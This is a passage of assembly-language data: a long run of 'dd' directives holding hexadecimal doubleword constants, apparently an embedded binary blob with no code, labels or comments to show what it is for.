1BC580DAh, 0CE163AD3h, 9E933F9Ah, 196CFA00h dd 93EEB29h, 0A0DA8524h, 0F6A41400h, 924880h, 1F293FBCh dd 56725E53h, 5C7CEA00h, 0FB238386h, 0CC92006Dh, 9E410C8Ah dd 800446Ah, 0AEB11B0Fh, 0E33BA31h, 0F60924A7h, 0A949A40h dd 9800AA68h, 44640248h, 797F16Ah, 0A3196276h, 0F485E05Bh dd 3A00095Eh, 149BA413h, 0B028A852h, 327845h, 0D1823724h dd 4161BAEFh, 0D0906077h, 0A2C13000h, 2BF77E92h, 0E9D304A9h dd 8078B1B6h, 8A7BD6EEh, 7EABDE00h, 51FAAE6Bh, 0EE66014Ch dd 0A1649ACDh, 0BBADDC40h, 0A94F860Fh, 0D5848001h, 0AFDAE8h dd 3DB39717h, 0DDE36606h, 3E2B5000h, 0DEBD56F5h, 0D94E007Ch dd 2860E496h, 0B9030A65h, 81F01C85h, 0B10CD871h, 0AF363D63h dd 2E4F5002h, 8C03D12h, 0CCFCB36Fh, 0FC3C7118h, 0BFAE42h dd 0E81C5D76h, 0B0C797AFh, 2F8F1900h, 0B1A19AD5h, 50B54899h dd 0BD46E300h, 31A33934h, 0D4FB6D07h, 0F0C06063h, 2D28C6h dd 8CDE1CA0h, 0BB7DA398h, 83D5CC0Ah, 5D00E454h, 6F392FEBh dd 73CB3CD0h, 0C9108A89h, 0E041DC07h, 0CCBEBB26h, 0D53AAE07h dd 0F7476479h, 20367560h, 815F3809h, 7654A00h, 0E24876AFh dd 1D064F00h, 0B0DB8ED1h, 0D41F0F7Ch, 1BCA9B6Dh, 3A0A07D0h dd 8392147Eh, 0DBB80E84h, 7300088Eh, 0CBE6B341h, 2CF082D3h dd 2CDC983Eh, 7FD2C6Ch, 1004FEABh, 0CEA526F5h, 576F5C00h dd 668246D2h, 14A0C09Fh, 0BD0A204h, 0CE889800h, 6CF41C0Eh dd 0D29F075Eh, 6087FE96h, 0A3EAF67h, 66788900h, 0FCC50939h dd 41C714FFh, 0B200F8D8h, 335C4B24h, 78007067h, 0EF1A2B40h dd 7B02DCh, 0C92690Bh, 592DD66Bh, 8926FA00h, 0FE11AD55h dd 12B47853h, 44443487h, 807850A4h, 67A60194h, 58B5331Ch dd 7A3E7202h, 0A7F44097h, 0A268006Eh, 0D4A835B1h, 0A280678h dd 3B00E464h, 8D2B9BC2h, 9FCE175h, 201A5CB8h, 0BD76A400h dd 540998FEh, 54DBB70Eh, 0ACBB00AEh, 0B247537Ah, 487858h dd 0FE840680h, 1D4BDA0Ch, 0C0E4D998h, 16A08C30h, 3800237Eh dd 3FBF81Fh, 853B4Bh, 2927797Fh, 0D8125069h, 0F49A2F00h dd 0F3C39BDDh, 1FB907B1h, 0EFBDD4EBh, 0FF41EE45h, 9FAA8D00h dd 727F5DFAh, 6BB60096h, 0CF89A214h, 75003CF7h, 74B25301h dd 27E58Ah, 4E62A426h, 7E5240AFh, 36ACFA00h, 68644BB4h dd 9B7575h, 6AA85E14h, 53B2E69Eh, 0FC016E7Eh, 42991BFDh dd 8240054Ch, 881F14h, 0E0AAF0CBh, 98C49A91h, 1710DC01h dd 3C7E244h, 0A010E03Eh, 3DD2291Fh, 9237CD00h, 0CF0FCh dd 0C88B0D23h, 9C20D347h, 45FB9800h, 3EAA9F4Bh, 42A5001Dh dd 0C0906F74h, 0B200E5D5h, 580E6CDBh, 0E43027F2h, 223502AFh dd 477A2D56h, 0CFD43CE8h, 9F14E900h, 660C4B18h, 1585248Eh dd 0F5730384h, 87A83F17h, 0F300289Eh, 0A0D09107h, 7DAD49F7h dd 0A4583D03h, 0C34A8280h, 0B7978EE6h, 76C2F400h, 5BFCD76Ch dd 2A2F00E8h, 5A79651Fh dd 2000D9CAh, 285CB76Eh, 18A3745Dh, 288326Ch, 0C9FE49A0h dd 785AF61Eh, 5C80C09Dh, 421A92A3h, 44BC4C06h, 0DE845B00h dd 0F8836690h, 0D5B03FE8h, 0ADDD9A15h, 318C800Ch, 0ED5621h dd 2960E85Fh, 69542E25h, 2096100h, 937A909Ch, 128F00C4h dd 0AE4BDDE2h, 5E0EDAECh, 205033B1h, 0C88EA6F2h, 0C50A0093h dd 193C40CCh, 79002F13h, 4420607h, 24BE35ABh, 0A8432Dh dd 0F8A55129h, 610047D2h, 6F3B85AEh, 0B47472h, 45C2211Dh dd 34B209A7h, 47AD9817h, 0B564E701h, 0E6DCBB4Eh, 0D6930084h dd 44B01594h, 9D1289D3h, 0F609EBE9h, 202D8FF6h, 5E46A5DBh dd 0DC570096h, 3F92EE71h, 823AA85Ah, 1BD7893Dh, 0A4280056h dd 9EF0E69h, 0AC64B586h, 352ACC80h, 0E300DB62h, 0A80322ABh dd 0E89FCE53h, 1EA918C8h, 0B124C865h, 131506Fh, 430CE186h dd 0E1860h, 0DD88E246h, 1BF510AFh, 19A98B15h, 80A63D1Ch dd 0AF01112Ch, 2E2348D4h, 92193E5h, 9A832DD1h, 8BC0242Bh dd 65005C22h, 0DE9F028Ch, 0A8CF6C31h, 743E4FA4h, 0A8B50039h dd 0F5269754h, 5C18D18Bh, 9999ABA5h, 0CD79039Dh, 49DB6E2Ch dd 0F0233E89h, 0C6F8BFDDh, 0ED323601h, 0AF488177h, 246DB340h dd 26780051h, 1E89F70Ah, 3201ED09h, 0D60FA5D4h, 0E07EF676h dd 0F707BC25h, 1DE635C5h, 1F12BF90h, 7F757858h, 6D7B071Bh dd 7118ECEDh, 0C8C9B52Fh, 5D4A3E0Eh, 7300F016h, 22A6B79Dh dd 632B761Bh, 0DC8718D5h, 6FE552B8h, 38A25000h, 0E0DD04Fh dd 7BBFF8CEh, 57145C81h, 99A70078h, 471DD46Ch, 2E70242Ah dd 0C8D5E200h, 1C2DD3B5h, 0C2C7C9Fh, 92FD722Bh, 8D540450h dd 0E4000EA0h, 64BA01DEh, 0EC86E232h, 23A10662h, 18111674h dd 3CADF300h, 0D92DC2B7h, 0AE1E0761h, 8F55C5A4h, 6D2E2C3h dd 0E1F02800h, 0D3A2C875h, 0E940F26h, 0CF80BD23h, 0A1511A6Ch dd 210030E6h, 0F687BB9Eh, 353862h, 4AA2D357h, 18AC55Eh dd 0F8AF0518h, 9CA920Ah, 215C02A8h, 15441600h, 0C13C071Ch dd 0C0160413h, 0EBF03EB2h, 4D1D024h, 0F1007CB8h, 0ACAB23C1h dd 24D27025h, 518B008h, 0C09572A7h, 1882A28Eh, 0B4AF7828h dd 0ADA92A09h, 0F5C0A034h, 0CA2BBE8Ah, 0E4058F8h, 0C724D587h dd 1C9402Fh, 3813A6Eh, 0A9ABC551h, 11A30E99h, 7C02139h dd 1959E76Eh, 0D4AE32C0h, 6349C1Fh, 34CB4C67h, 0D691C00h dd 1ECA6D16h, 0BD6607E0h, 9626D7C3h, 6B0198DBh, 885FA6C0h dd 4048DFD5h, 446E0803h, 12C40181h, 6E60C24Eh, 8818AF5Eh dd 0E809F930h, 245D021Bh, 9D00A26Ch, 0DA68C0A0h, 791C473Ch dd 4002BF30h, 24A655F3h, 20C4B81h, 5AD2445Eh, 16A1C99h dd 0FC24A732h, 48A00F3h, 9964BB1Ch, 0D9044052h, 49342BBDh dd 0D4C03CC9h, 3D1EF81Ah, 2F1879C3h, 2C0408EEh, 0BBE020C0h dd 1DD3261Ah, 1DE3CC9h, 411BE3A1h, 911CE531h, 95802D50h dd 8B1ED61Ah, 2BFC208Ch, 1ABCF500h, 64F6F480h, 63730059h dd 815FA77Ch, 0E0508418h, 28261B8Ch, 0A0091CFFh, 6A409061h dd 0BA260F16h, 8CA0B35Dh, 4544C6FFh, 0D3C54F0Ch, 542B380Dh dd 0F3AB804h, 0F73285Fh, 31EDA80h, 9F09C878h, 272EADBCh dd 6F500A50h, 0CB3A802h, 0EBB1DACFh, 0C921608h, 6F46F100h dd 95418EE5h, 0D8A10021h, 52083048h, 189971C1h, 80D4363Ah dd 1CD34660h, 0A8826F39h, 11DB231Bh, 31101714h, 18E0DC6Fh dd 0E97566AFh, 6101595Fh, 7F58BB7Ch, 41E87628h, 0B3B439A9h dd 1A25978Fh, 6CA40768h, 29B07700h, 14D6D004h, 0F40ED986h dd 2B43F2E8h, 0B23C1B0Fh, 0F9B66A41h, 901C20B9h, 4015F426h dd 32315201h, 0A980D862h, 8C6CCC44h, 8B0DB3F4h, 8255702h dd 8E00BC32h, 97C96CD4h, 0E005BB5h, 575CFD61h, 4B8A6D1h dd 469594B9h, 2E608003h, 0D0C2047h, 417461ABh, 0D9DE1708h dd 369D0F6Ch, 5B77E340h, 6E26BBC2h, 6400CCC4h, 0A9CE0A07h dd 212F622h, 6324A204h, 0FC8EA7B0h, 0DE28B874h, 2D246CCh dd 0A8406F44h, 110F4243h, 0EF1113CCh, 41D7003Ch, 72F30E4Eh dd 6420BC2Ah, 8675AD37h, 0C688C255h, 116CCB30h, 88ABF48Bh dd 0D3918168h, 0CC586B6Ch, 0CC909D06h, 5A14FEF8h, 4D4B6DCh dd 0A6A172A9h, 4E432C80h, 0C89D61E8h, 2145F423h, 19C40366h dd 9AF6D388h, 83BC4258h, 0F8C4A3C6h, 674804Eh, 0F2BEB6CAh dd 4188023h, 6829AA49h, 821D00B1h, 0CE7A50D3h, 1406751Ch dd 7263E056h, 0B1870FA9h, 20E008F4h, 0C9EF4BA9h, 0CA47400Fh dd 0BC2E82D0h, 3A94A11Bh, 99D4788Fh, 83FB008Ch, 1D9B3E54h dd 3601D6DCh, 0AACAAC7Eh, 0B057A804h, 23474170h, 0BA4501E1h dd 0D1E61A2Bh, 6608949Dh, 35F380FCh, 4CB51F6Ah, 30003684h dd 0D02FA552h, 0F83A3D80h, 8A37819Dh, 0E59E8DDAh, 5581A447h dd 9047FDB7h, 49522AE0h, 61A4A2DEh, 9D18E114h, 812E6E08h dd 4B34C431h, 2F5E80ECh, 76C037h, 9AFAC6F0h, 4A38A22h dd 12E428A5h, 5F482360h, 0A94834EFh, 0D060C9FAh, 0C7A72EA0h dd 50BF499Fh, 56F2D80h, 448C3BA8h, 4500F00Dh, 0A3A1E06Fh dd 0B6D8F50h, 7A96D66Ch, 0FFC8188Eh, 3B465028h, 9508CD3Fh dd 6BC4BBF4h, 6CD59B43h, 91B136E0h, 75948C04h, 7C83CDA6h dd 861EB335h, 1B240458h, 3D71822h, 0C1A21DA7h, 0D08273C2h dd 3F3153C6h, 0E3813C92h, 33DBF4D1h, 0E1978314h, 0B6BBB86Ch dd 71A8004Eh, 0AEDDB1Ah, 730B5C6Ah, 20C7CB1Eh, 0FE0FA084h dd 0BF1D1818h, 3137542Bh, 8970A600h, 0E4660176h, 0EFD90503h dd 4026D4BCh, 7A61B098h, 4B007DECh, 517F82AEh, 0ABA6021Ch dd 0E44588ACh, 0C17D0963h, 3A0E86FBh, 3C897138h, 4737D701h dd 0A4A3A8DCh, 35BEF050h, 74745D48h, 0DE003C39h, 3347FD90h dd 0AB484072h, 0D22D1354h, 0A03EA80Bh, 0FA3099FCh, 7E8B911h dd 0C0AE71D6h, 2B9B4020h, 0F221BF0Eh, 844756DEh, 0E2827858h dd 64E5E0B2h, 79B8B1BEh, 0FA18EDh, 57C82312h, 39B4E5CCh dd 4E752C05h, 0E8225664h, 11702A26h, 6E2E80DAh, 43998147h dd 26D5100Eh, 6E25E900h, 5E55183h, 420F0B75h, 80F87ACEh dd 0CFCD6CB0h, 0D1DC128Ch, 47808C0Fh, 70FB8890h, 0C403C2F8h dd 577925C5h, 0EA5900BBh, 0DF39B9E6h, 0A80019F4h, 5F1E50DBh dd 9BBE441h, 723C8A3Fh, 0B0033D83h, 0D1BCCFF8h, 0D4A7E90Ah dd 880FC1Eh, 3C6FE87Fh, 9D1A0063h, 0F3164A19h, 2002843Bh dd 0E2BA6241h, 16C05126h, 739C2FBEh, 3E4908Ch, 9C6B1B7Ch dd 80A77687h, 67C566E3h, 2820454Bh, 2C0BF384h, 11D06124h dd 1A8980A1h, 0A7AB1ECAh, 0D0E100E4h, 0B253941Ah, 625F000h dd 22A6F572h, 0BCDA485Ah, 0E4BAA439h, 0B449304Ch, 854AB2Eh dd 8C15D0A9h, 0E0948FC0h, 7D47ECC0h, 87BB3909h, 972FF313h dd 0C922F018h, 53F27176h, 427974B1h, 0B303AC18h, 43C0E4EFh dd 8630E1E5h, 42D5160h, 0D4E66AF5h, 0C878B0BCh, 8458F84Ch dd 0D23163F0h, 23F4C86Ch, 0E480448Ch, 0F66CD800h, 20B8FA18h dd 4B6F6A6h, 8692F051h, 397CA0E6h, 0FBE36AF0h, 0FCC81012h dd 139F2C80h, 4BD803B6h, 5CF67A6Bh, 5018679Fh, 59353D1Fh dd 251A843Bh, 0B228222Dh, 65B061D8h, 74480073h, 7F8CDEB8h dd 36EC00F9h, 0F60C0370h, 651F5573h, 293161A7h, 60201A24h dd 1D09DEAFh, 9ABC807Ah, 89F21E18h, 0B0391600h, 26E8D1C7h dd 0D8DE5837h, 84C06848h, 0A4F70C5Fh, 3D6A9F02h, 90BE5279h dd 4B33F2A4h, 23602F47h dd 0CE90013h, 0FBD74187h, 67685400h, 0A4A62FBAh, 11C9EF7h dd 0E8F0EADEh, 0B8D02CE1h, 2643CAh, 0D52944ADh, 35210930h dd 0CBA85759h, 0C012C8ACh, 99EE843Eh, 2F762A1Ch, 1E0DEF87h dd 64901265h, 0B2D694D9h, 8CFCA370h, 0CC1A8B60h, 969B1E25h dd 0D2EB0064h, 9160D11Ah, 0C90267FEh, 95186226h, 4548500Ch dd 2CB6D9CBh, 6D8709BCh, 75244866h, 880A6F16h, 98C46529h dd 42372C74h, 0D2800805h, 1FD00F3Bh, 0C09F03B0h, 9658E72Eh dd 2401686Ah, 74755A47h, 4189A1AEh, 6CE380A9h, 31E139C1h dd 0C44EA04h, 299E4230h, 2D1220h, 0DBE2871Ch, 49309B78h dd 0F0D65Ch, 6766DE04h, 73CD19Fh, 756B2FD2h, 0C8D0647Bh dd 77004284h, 9F474955h, 96A2EC60h, 0BD3560B4h, 0E89154C4h dd 0A2184379h, 344D9A01h, 0FD85BEBFh, 3A78E1FCh, 0B5049861h dd 84D4AD2Ah, 0A248A3C0h, 0EFB30DEh, 3AB0A30Ch, 3BD719CEh dd 0BA2A5A75h, 0E5620CCh, 0BD76340Eh, 0C4CC4963h, 71D4B120h dd 1FC31817h, 18552BAh, 26B392C4h, 0C002D94h, 89D93AA9h dd 393CECA4h, 14CEFF45h, 5B00E428h, 88EF9312h, 31FEE125h dd 29EE550Bh, 0B07885A6h, 412E204Fh, 939DF869h, 3BB8F439h dd 0E2404700h, 0F61DCC8Eh, 8BEA2E83h, 0D3D603B4h, 99E17BFDh dd 88A9E27Ch, 0ABC0AC4Dh, 45527Ah, 0E02C6E5Bh, 90A0B412h dd 5CC2049h, 132A9D6Fh, 0D43998D3h, 0A8E764A2h, 6CFB6C0h dd 8A730EACh, 50189E9Dh, 43491E1Dh, 944F0920h, 6100A1B2h dd 19A769ADh, 74305CAAh, 0BA00E146h, 2B114591h, 0FF74AB57h dd 9DAE6912h, 0E08E6085h, 7C0F888h, 260E23ABh, 13884065h dd 37AC61D3h, 0A181F06Eh, 23FD208Ch, 1E0C65Ch, 21E8C160h dd 602CE1FFh, 2343FDB8h, 4DB90201h, 2C9F9A8Ch, 0DDAD15B8h dd 0A8040298h, 0E8435572h, 0A802D434h, 315AA9F8h, 0E9186595h dd 0F7083253h, 0BC81C0A8h, 38019EE9h, 0FE9FF95Ch, 8530535Ah dd 0E6482A24h, 78BE4994h, 0D40164B8h, 6B756097h, 0F4EC0870h dd 63A30055h, 0A99C2D56h, 0D66EFD52h, 0A17DCEC0h, 28E182B0h dd 0AA3EB823h, 8518FB33h, 8C4FB904h, 3883123Eh, 21DDE2CDh dd 9CC5AF69h, 0C02A57B1h, 378C8B00h, 7C09AB0Dh, 0E510E66h dd 2181BF3Ch, 0E896D571h, 55317AA6h, 958A8845h, 14BC6468h dd 0EF49008Ch, 0B85F3A98h, 0CE0B09FBh, 24CA5AAFh, 54812954h dd 1D002F19h, 737C26FCh, 2848A45Ah, 1AD7C227h, 287B88E1h dd 0BEEFB08Ch, 0CF00F1Ah, 0D280B5F3h, 7B5A55E5h, 115B2F16h dd 642D881h, 0C4D0C850h, 90413D08h, 50E95F80h, 6FD41EECh dd 0CC4B7900h, 0D659332Fh, 242A2D61h, 8500E437h, 0FBABFE3Dh dd 8D0B0136h, 0D84D847Dh, 75422070h, 4028DA26h, 4EDD003Bh dd 0CB84D96Bh, 0A1251ED6h, 2A843BB0h, 0F312C652h, 26D7B104h dd 0E026BA0Ch, 2F015E4Fh, 0C53E0CD8h, 621D2180h, 318DC2CCh dd 0FC01ADE4h, 4C7E6DA2h, 0D5429425h, 566060AEh, 1749E2Fh dd 0ADB06A75h, 5CDC28F7h, 8CE1BCA0h, 4173AD01h, 66FFBB36h dd 1E30F3D0h, 93215920h, 23F02FC7h, 0EA40016h, 0FF4E534Bh dd 7618350Eh, 14DF8284h, 44B46C30h, 523C57D7h, 0B605123Ch dd 0C40FC00Ah, 59BAAF8Dh, 15F20072h, 0D661730h, 26307E1Eh dd 0B5C04150h, 521D002Eh, 36952470h, 0AECF80D4h, 0F80E9A86h dd 61B04709h, 0B91052D6h, 18117194h, 777C00EAh, 721F0F5Ah dd 0CC58826Dh, 0D9570C34h, 4E32822h, 6BDB685Ch, 1100A2AFh dd 64802F20h, 0DCAC2841h, 0AA81CF24h, 408C0738h, 95D0BDCAh dd 79F52CF0h, 66BA0258h, 49709604h, 0A967F8E6h, 0ACA0D7F1h dd 9E5D51h, 0B1BEF285h, 10054602h, 4456F005h, 1840DC47h dd 0A788C3CBh, 271A006Dh, 898C21BEh, 921597B3h, 7B428ADh dd 71F9DE06h, 85689EA1h, 9D841C8h, 8B2DB0C0h, 50F53C10h dd 5ABB470Ch, 16A9E963h, 95677222h, 0C0AC9BD0h, 0BB8B143Dh dd 0E5770126h, 466C4E23h, 4DB43D28h, 2C3A4BF4h, 9E004523h dd 12060734h, 0B8960509h, 0C264F2E0h, 9C785054h, 34090098h dd 0A0154F47h, 8D72A768h, 0B9D8C974h, 0A6003051h, 695B9840h dd 9CBD07A9h, 0D0B9CC4Ch, 0B023EB9Dh, 81758E13h, 4404B412h dd 94E40CBEh, 0BA042236h, 78D1796Ch, 5D26CBB7h, 2B1BC4A2h dd 45F9C7Ah, 0BF982440h, 0CC0DACDh, 8D9ACB46h, 0BC60ADE2h dd 56E44F49h, 64B906FAh, 39666230h, 3A7095EEh, 75BE5Ch dd 0C5582087h, 772831h, 0B7F88059h, 0D50ABA44h, 97882F25h dd 241608F4h, 0DB89F160h, 66901836h, 8E8D796Dh, 13077300h dd 0C4DCC033h, 25DFE40h, 8141E61h, 3040D86Ah, 2E00B06Dh dd 0A46B76D4h, 2594268Eh, 0E4A4D552h, 1AD2602Ah, 0D31E27D7h dd 0F607AC96h, 455B1AB9h, 0C7D72240h, 0A78204D3h, 0C21C475Dh dd 4030D680h, 4D78B86Fh, 1E883C23h, 6F3880BDh, 3D52A815h dd 6C8B9568h, 7FE4F8EDh, 0FB57006Bh, 949945A3h, 0F6D0001Ch dd 9A7F6AC1h, 510EE0E9h, 0C0AE4919h, 0D18346C3h, 0B6F507BCh dd 0B0E5C597h, 7FDB1E38h, 149BE206h, 0F6387BAFh, 0A7EE009Fh dd 4EF011Ch, 273AF8C4h, 9B901807h, 1F6BA20h, 0C15AD6A7h dd 6037134Ah, 0A16042CFh, 543C9158h, 45A2000Eh, 0E138E0A4h dd 30A4129Bh, 26A7F802h, 19077F01h, 0E0841091h, 0E3D20FA7h dd 0FC803355h, 3DEC1869h, 58D1F831h, 57E042EDh, 49A8031Eh dd 0C4C0FB78h, 0D058F900h, 0CCEA11A6h, 47E41987h, 0BD700884h dd 0A6C80021h, 24210D5Dh, 0C5EB0001h, 45AEBF42h, 0DD07ABE1h dd 1AB64E52h, 947110E0h, 0FC901959h, 4E3841FAh, 7CEB1C04h dd 0F0C72E40h, 3BE133B4h, 0F6BE4448h, 0ED567D07h, 0EC4B8089h dd 331C5B9Bh, 0C7475F84h, 878917CDh, 2F504E4Ch, 49F0EAh dd 5EFA7823h, 0E773D4C7h, 1B0969C0h, 361F83Bh, 6967E44Bh dd 0D5A39B83h, 7E22210Eh, 0ECDC273Bh, 5D0F8C90h, 264A02E9h dd 0A3C3D44h, 0B29AA080h, 0D818FA6Ah, 0E9E070E5h, 2B911854h dd 0F1D33816h, 7E50C361h, 0C9F8DD4Eh, 0B80C3BCEh, 90A41280h dd 0E3D3B4E8h, 4506670Ch, 7A7F2022h, 27285816h, 0C1842043h dd 0F81B6308h, 7EE04B68h, 28396043h, 6421D778h, 904698CCh dd 33EB067Dh, 0E8E86660h, 44C3A00h, 637C1CDDh, 0CE24FE7Bh dd 20B82008h, 4091427h, 990766h, 0B7AB6A14h, 21101906h dd 20135869h, 48CF71Ch, 0EA4DA6DCh, 205962ECh, 78A6D483h dd 5F6DC3Dh, 0D718D363h, 9C359804h, 40F84C90h, 0CB2C00FEh dd 95032E39h, 7F909366h, 0EC80D412h, 449E9400h, 10C5E5C4h dd 0D20435h, 0D10269F0h, 3F4F9D07h, 0CE800DD9h, 5E39223Dh dd 0AFE29946h, 1908F49h, 1D6506DFh, 8E615268h, 853E30h dd 7CC54AFBh, 0EDDF92Dh, 7DD14E0Fh, 0E17865E7h, 0A6DE7420h dd 0FCEA234Bh, 8D007311h, 0C76EA6D6h, 0C2026CFFh, 4110A131h dd 489C8089h, 7F9B2Fh, 1F26C6D8h, 86444298h, 6EE4CD09h dd 0C8580464h, 0EC3B3067h, 448C2B61h, 3200260Ch, 8CEE0F3Bh dd 0BAEB6h, 40A1E859h, 66B06C9Fh, 0F9C7CA7Dh, 9AE0F025h dd 0F605E7BEh, 395A00A7h, 467F8FAh, 0ED0495D4h, 8D3E686Dh dd 0D802AC81h, 0B8895BD5h, 7484B7E8h, 0A7E36019h, 2701107Fh dd 8093C807h, 14A62BBFh, 0AE007251h, 35E46BCCh, 0B0DE2611h dd 0C10905Dh, 90A57C59h, 7CA4CA70h, 0EE3B1904h, 0F621B61h dd 3B342420h, 0C8EB0039h, 0B41DB2D9h, 30091EDBh, 0E6543CFh dd 55100674h, 7643961h dd 0DA891CBEh, 0B4807033h, 0C1FCCC3Fh, 0A3450C6h, 11046E0h dd 118A7FAh, 970C040Fh, 0E28688h, 858BB8A7h, 6A614F32h dd 5CEEB092h, 0A2935F01h, 0E711DA44h, 1C192DF4h, 5865E31h dd 0A7555B8h, 5EF85FACh, 4700D246h, 0D8A1456Fh, 48C074B1h dd 9DC14EA3h, 0BACE24C7h, 60A906D8h, 0F8729167h, 1D1C2001h dd 91613799h, 2BEBC34h, 8E3B0174h, 6449EC2Dh, 0A0A1C275h dd 0F0DF1C7Fh, 9F246978h, 0EA8F70C2h, 1847934Ch, 815736CCh dd 8DCA1371h, 5B918C50h, 0A8100067h, 0A2278F50h, 2401ED48h dd 979D1CAAh, 0E027C5AFh, 831A6B3Eh, 2860188Ch, 5B80B144h dd 9947339Ch, 0D8244831h, 55041CD0h, 0D648598Bh, 0FA3B25C0h dd 22BB4661h, 302000D4h, 4F9C273Bh, 0C6146865h, 0BCFCE1CEh dd 0C248C94h, 960C2835h, 742EA09Dh, 35E26F9h, 1214C494h dd 0BE23202Eh, 1E437103h, 1CB9E673h, 80288F91h, 0F1C82513h dd 6C2A57ABh, 1D3FC41Eh, 6ACA86E8h, 30495A67h, 0D7B18BA0h dd 91008A15h, 4EA6094Ch, 2449FFh, 427E7A9h, 0A28BDACCh dd 548F1A00h, 0D49C0515h, 0DF3106ABh, 0A1EA10EDh, 0E3911313h dd 0C0D55008h, 61F93B26h, 23835343h, 8BE23B7Dh, 742BDDE0h dd 54769D01h, 2119DEEAh, 0B9E15860h, 189179A0h, 837E03BFh dd 877923D0h, 100DB4B0h, 28B94926h, 664CF44h, 0A061F3FCh dd 10D05489h, 73B3729h, 0C118790Dh, 2D130136h, 7EA08D34h dd 30DAF87Bh, 0ED113B1Ah, 0EE883361h, 3B312780h, 2B0932Bh dd 3D589651h, 0E8C39403h, 60D491ECh, 0D4B42463h, 64D5CA00h dd 0A60F7A2Ch, 2A6512D1h, 312C0082h, 2FA1C28Fh, 7AF506C1h dd 8C649903h, 1617018Ch, 0E2F29AD9h, 0C7308296h, 40043014h dd 7E651FACh, 48789822h, 0F88008AFh, 0DC5192EDh, 1DCD0C00h dd 8CE19AB0h, 18890BCh, 0ACBD1A3Dh, 0C4544838h, 58CE8882h dd 0D3507D4Fh, 7DEB7C0Bh, 44A28B0h, 6C1CDF11h, 51803688h dd 1C700412h, 9AE633ADh, 5C990E50h, 9E5101E1h, 0CCE0F4h dd 2B0F9BCBh, 6ADF3219h, 0CA377902h, 40989FF1h, 9275C050h dd 0A9040370h, 6D77D544h, 58638D80h, 7A121B09h, 195C019Fh dd 64C4E4D0h, 0E698126Fh, 16340860h, 1AA7ECC0h, 605F5801h dd 0A7F4B8E0h, 97EA6500h, 32EFBF7Ah, 264B0004h, 7FE557CDh dd 0BE2489C0h, 46763859h, 943D1CD1h, 40609C82h, 817C66F6h dd 131828B0h, 0BCD00426h, 5A70D82Ch, 5D040A1Bh, 2CDC547Ch dd 807E11F8h, 1CDE044Dh, 33448CB4h, 4150050h, 4B3F05E9h dd 1B15B5DEh, 2944541h, 19CAE525h, 4A7860B3h, 367580ACh dd 843C8C59h, 0C8B7D86h, 0FAC02EC8h, 1F81F75h, 4597554Eh dd 66F36AB6h, 0D80C0760h, 9FC2F99Ch, 180048CEh, 2F7F2D6h dd 0F52BD97Ah, 0E0A00314h, 0C09C8302h, 0E573DF15h, 6F700B8h dd 307B3635h, 42F902D1h, 604471ECh, 7010CCACh, 0E870F34Ch dd 65008C0Dh, 625EDE1h, 0ECA0E258h, 35EB0983h, 50490F34h dd 0EED7F1ADh, 3E027C66h, 0E9C6AA6Bh, 16D446E8h, 61E0784Ah dd 0ECA6DD18h, 448CF4EAh, 0D5008E5Ah, 0EA0ECCA6h, 0AAFCF7Ch dd 12F51E71h, 848B9D4h, 7B8C2FECh, 87290009h, 5533E913h dd 1B12069Fh, 0C4146EAh, 7751E802h, 6C208021h, 0A86A58C5h dd 0F9C01388h, 460125A7h, 1932217h, 60A7E185h, 208D892Eh dd 1F0312B1h, 95C001ADh, 4960058Ch, 0D16C35ECh, 26A54B18h dd 1AF0623Ch, 0DF200093h, 0BB02F4E6h, 71BAE03Eh, 7D0468EAh dd 96D012D3h, 32DC307Eh, 10263C6Bh, 4F5098EEh, 0D75C3335h dd 9B8D9918h, 328FC3E4h, 0D4C2F8DCh, 0E06E0AF9h, 43C4C675h dd 0C1BD9FF0h, 28696568h, 8C0DEC08h, 72B35200h, 81DE6537h dd 8CC30212h, 6F83DEBh, 0F30F9059h, 45B769DBh, 609CE474h dd 0DCB35Dh, 80F9197h, 0D9BB5515h, 777A6600h, 714E61BFh dd 0F100916Bh, 0F21891h, 0AC297322h, 68C11087h, 0FDFAA4A8h dd 0D1A5EF00h, 0C7F08A90h, 5E580001h, 42763D61h, 0BCA250EBh dd 0C32A9C82h, 0BAA6D718h, 58489660h, 0A600CFF8h, 774934EDh dd 6D1EB53h, 710661E3h, 8102C8BEh, 0A1441BDBh, 0FC285A66h dd 0EEB894BDh, 23B03A32h, 10160021h, 0CD255CDFh, 0E78E4A00h dd 4E1AA355h, 42CC00D5h, 0E43287B4h, 5E581451h, 8CD4BC30h dd 0E1C1DA3Eh, 0E478B8F1h, 0B12EDC8h, 0F2980928h, 0A0371CB2h dd 44146380h, 20F43A8h, 0DF9FC3EEh, 70602CE1h, 302C1F25h dd 35E96CF7h, 0F1868744h, 0E5A760B1h, 0D303788Dh, 7F191214h dd 99702A7Bh, 0A00204D8h, 0B059CF91h, 0CCA1E4F8h, 84E1831h dd 4C1CD304h, 254037C4h, 8F8D0416h, 4F424300h, 0C5EA7A9Ch dd 7CE35D4Ch, 2FB22842h, 7744330h, 0ECBD8B8Ch, 0C8FB80BEh dd 98914F9Fh, 3FDA8E0Eh, 0FE101D86h, 27259868h, 0FC801513h dd 4E602E02h, 0C7920119h, 8224111h, 0BA300FF2h, 327DD0h dd 80C159DBh, 15EAB0C0h, 0D9AC34E9h, 0D3096EF4h, 1D5D9F18h dd 819C11E4h, 8645491Ah, 0EE06E4h, 2BC58193h, 0CD72C868h dd 0D11DF80Fh, 48889256h, 9F200E11h, 0D7A0EF31h, 98FF0B99h dd 0D188550Fh, 0A1400F2h, 125D7B35h, 222EE87h, 0A20B8D18h dd 72A05C41h, 8B212C54h, 0ED3E0C07h, 0E01033EBh, 287B9992h dd 20E8263Dh, 724B0DC8h, 0A79EB040h, 501BC25Eh, 302847h dd 0E549652Ch, 88AF4B2Bh, 0E7CFB1C3h, 468CF0A3h, 588600B3h dd 0EA844857h, 0A12449Eh, 105F6961h, 80ADE40Bh, 1BCB39EDh dd 9BDE266Fh, 1CFF392Ah, 1217D226h, 0E9E4CCD9h, 80F4425Ch dd 0F97FAAD4h, 0C13809DCh, 9C6D3B64h, 19608B64h, 0CE170F3Fh dd 3C6180CCh, 0C3DC475h, 42F51D09h, 1E24063h, 722A5C64h dd 4D0098FEh, 8C1CB7B9h, 0B41323h, 0D1F97CBFh, 0E241A721h dd 4838110Bh, 0E10C8793h, 9C467CF8h, 20599100h, 0FC64687h dd 0DF16E800h, 0B8D59FF1h, 60A0F01Eh, 44FC318Eh, 87008881h dd 6C9CFD3Ah, 0FA93D3h, 0DD1B03BCh, 0C09FED41h, 94449CA7h dd 80F07D63h, 672C7A43h, 0C50978DDh, 0E574A023h, 2AF918CAh dd 49037FCh, 5531E67Eh, 2CF4B3C9h, 53F6CD7h, 0DC6AD1ECh dd 3310C004h, 0F42E0Ah, 